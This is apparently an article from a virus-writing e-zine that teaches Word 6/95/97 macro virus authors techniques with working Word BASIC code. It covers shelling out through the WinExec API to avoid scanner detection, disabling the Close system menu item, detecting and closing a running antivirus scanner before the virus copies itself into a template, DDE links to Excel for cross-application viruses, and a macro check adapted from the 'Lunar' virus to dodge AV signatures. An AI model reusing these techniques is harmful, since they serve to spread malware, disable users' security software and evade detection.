Word 6/95 and 97 Tips n' Tricks
Part 1
by Hyperlock [SLAM]

    Introduction
    ============

    There are numerous ways to do things in Word BASIC/VBA, depending on
    which version you are using. But, there are better ways to do the
    routine tasks that a virus needs to do such as passing control to
    another external program, shell or whatever than using the standard
    methods provided by Word BASIC/VBA. There are also hidden and
    undocumented features which may be of use to a virus writer.

    This article will explain some of the 'tricks of the trade' that you
    will find useful and will show you some undocumented features.

    Contents
    ========

    1. Word - Alternative API Version of the Shell Command
    2. Word - Disabling and Altering the System Control Menus
    3. Word - Finding and Closing an Active Windows Task
    4. Word and Excel - Rudimentary DDE Communication
    5. Word - An Alternative Method of Checking For Macros

    -------------------------------------------------------------------

    1. Word - API Version of the Shell Command
    ==========================================

    So, one of the things that you will probably want to do in a virus
    is shell out to a DOS shell or another program, but using the standard
    Word 'Shell' command has its flaws:

            1. Shell command does not return any condition codes
            2. It sucks and can be scanned for as a virus scanner flag

    Envisage this scenario: you are sitting there, minding your own business
    and you just feel like dropping a load of debug script and shelling a
    batch file to process it for you. But ... the batch file decided to fail.
    How do you know? You don't, unless you use an alternative method - namely
    the method I am about to show you. USE IT.

    So, let's assume you have the following bit of code in your virus that
    runs a batch file "run_scr.bat":

            Shell p$ + "\run_scr.bat", 0

    It fucks up, and you don't know because it hasn't returned anything. So,
    we do this instead:

            In Word 7:

            Declare Function WinExec Lib "Kernel32"(lpLine As String, \
            nShow As Integer) As Integer

            In Word 6:

            Declare Function WinExec Lib "Kernel"(lpLine As String, \
            nShow As Integer) As Integer

    Declare the APIs, then, you can do Shell using the following:

            rc = WinExec(p$ + "\run_scr.bat", 8)
            If rc < 32 Then
              ' Error has occurred, so process it
            End If

    The return codes that will affect the virus specifically are:

            1       Out of memory
            2,3     File or path not found
            Other   Assume fatal error and process as required

    -------------------------------------------------------------------

    2. Word - Disabling and Altering the System Control Menus
    =========================================================

    --> Note, this code is taken from the LUNAR VIRUS by Hyperlock.

    You can disable the system menus but only using the API. There is no
    function available in ANY version of Word to do this. So, without
    any more messing about, let's get to it. Hey, this will force people
    to use the File/Exit menu, so make sure you have that macro in your
    virus somewhere! ;ª) So, the first call of the day is to disable or
    patch that System menu/Close command ...

    Not only that, you may, for whatever reason, want to alter the text
    on the system menus as well. Oh OK, I will show you how to do this
    as well. ;ª) This is really cool.

    This bit of code uses the 32-bit kernel and hence will work in
    Word 7 (95) and possibly Word 97 as well, but I don't know about the
    latter as I haven't tried it.

    The API calls you will need for the 32-bit user.exe are thus:

    Declare Function GetMenuItemID Lib "User32"(hMenu As Integer, nPos As
    Integer) As Integer

    Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As
    Integer) As Integer

    Declare Function FindWindowA Lib "User32"(lpClassName$, lpWindowName
    As Long) As Integer

    Declare Function GetFocus Lib "User32"() As Integer

    Declare Function GetSystemMenu Lib "User32"(hWnd As Integer, bRevert As
    Integer) As Integer

    Declare Function ModifyMenuA Lib "User32"(hMenu As Integer, nPosition As
    Integer, wFlags As Integer, wIDNewItem As Integer, lpString$) As Integer

    I have stuck to the Windows naming standards for handles and parameters
    and all that shit. Therefore, you should be able to understand what
    they all mean.

    The system menu, both accessible from buttons on the title bar on the
    right hand by the menu itself from the left side of the title bar, has
    the following identifiers:

            Option No.   | Menu Item
            ----------------------------
                  0      | Restore
                  1      | Move
                  2      | Size
                  3      | Minimize
                  4      | Maximize
                  5      | Close

    A menu item with a value of 0 is enabled and 1 is disabled. Given this,
    a function can be made to disable/enable menu items in the system menu.
    You can even alter the names. All that is required is to get a handle
    to the Word window, get the system menu ID, get a handle to the menu item
    on the Word system menu and then alter it using the API.

    Easy!

    Sub Main
    enabled = 0 : disabled = 1

    REM disable number 6 (close) and change its name to SLAM
    x = AlterMenu("SLAM", 6, disabled)
    MsgBox Str$(x)

    End Sub

    Function AlterMenu(item$, item, flag)

      hWnd = FindWindowA("OPUSAPP", 0)
      hmenu = getsystemmenu(hwnd, 0)
      hItem = getmenuitemid(hMenu, item)
      AlterMenu =  ModifyMenuA(hmenu, hitem, flag, - 10, item$)

    End Function

    -------------------------------------------------------------------

    3. Word - Finding and Closing an Active Windows Task
    ====================================================

    Picture the scenario - you are just about to perform one of your
    droppers or your virus is about to copy itself into a template when,
    would you believe it, there is a fuckin' virus scanner sitting in
    memory. What a bastard, and this thing is just waiting for you. So,
    you do this: <ha ha ha>

    Sub MAIN

    If AppIsRunning("Findvirus") Then
      AppClose("Findvirus")
    Else
      MsgBox "not running"
    End If

    End Sub

    Let us say that there is a virus scanner called FindVirus running, you
    will obviously want to close it. So, all you do is pass the string as
    it will appear in the Task List to AppIsRunning, and if a positive value
    is returned, you AppClose it. Cool eh.

    -------------------------------------------------------------------

    4. Word and Excel - Rudimentary DDE Communication
    =================================================

    This is an introduction to DDE (Dynamic Data Exchange) with Word and
    Excel, rather than applying it to anything virus related in this
    part. Part 2 in SLAM 4 will show you how to run Excel macros from Word
    and vice-versa. Pretty neat for running an Excel virus from a Word
    virus or for running a Word virus from an Excel one. To give you a
    quick example of DDE I have written the demon bit of code below.

    Client (Word)  -------->  Server (Excel)

    I know it is a pile of shit and does nothing more than open Excel,
    write some text and concatenate it in Excel, pull the answer back
    into Word an then display it, but hey, I said it was an example,
    and not a friggin' work of art. I think I need some lessons from
    Virtual Daemon [SLAM] on how to be more abusive! <ha ha ha>

    If you find the following macro doesn't work, then load up Excel first
    using the ALTERNATIVE SHELL method as described above of course. If you
    want to find out if Excel is running, use GetModuleHandle to find out,
    or use the AppIsRunning example in section 3.

    REM
    REM Start up a DDE channel with Excel, perform some
    REM simple manipulation and terminate the channel.
    REM

    Sub MAIN

    channel = DDEInitiate("Excel", "sheet1")
    DDEPoke channel, "R1C1", "3"
    DDEPoke channel, "R2C1", "SLAM"
    a$ = "=CONCATENATE(A2, " + Chr$(34) + " " + Chr$(34) + ", A1)"
    DDEPoke channel, "R1C2", a$
    a$ = DDERequest$(channel, "R1C2")
    DDETerminate channel
    MsgBox "E-Zine = " + a$

    End Sub

    I want you back here for part 2 where I will show you how to run macros
    in Word from Excel and vica-versa ... SO BE HERE.

    -------------------------------------------------------------------

    5. Word - An Alternative Method of Checking For Macros
    ======================================================

    We are forever trying to make our virii such that a scanner looking
    for certain signatures will not pick them up. This can be a real pisser
    if you have spent a few days perfecting your latest creation and then
    a few weeks later some AV bloke decided to he can scan for it with
    just a slight addition to the drivers. That really pisses me off, so
    I have another method of performing that most rudimentary of operations,
    the checking of existing macros.

    Consider the following macro which was taken from the Nuclear virus but
    is fairly common. It checks of the existance of the Autoexec macro. Now,
    to me, that is a lot of code to perform that operation.

    OLD METHOD (FROM NUCLEAR VIRUS)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Function CheckInstalled
        CheckInstalled = 0
        If CountMacros(0) > 0 Then
            For i = 1 To CountMacros(0)
                If MacroName$(i, 0) = "AutoExec" Then
                    CheckInstalled = 1
                End If
            Next i
        End If
    End Function

    There is a DIFFERENT and NEWER way of doing this. I will show you below.

    NEW METHOD (ADAPTED FROM LUNAR VIRUS by Hyperlock)
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Sub Main
    On Error Goto exit

      Mac$ = "AutoExec"
      rc = IsExecuteOnly("Global:" + Mac$)
       ToolsMacro .Name = Mac$, .Run

    exit:
      If err = 511 Then
        ' macro does not exist

    End Sub

    -------------------------------------------------------------------

    Hyperlock [SLAM]        e-mail: hyperlock@usa.net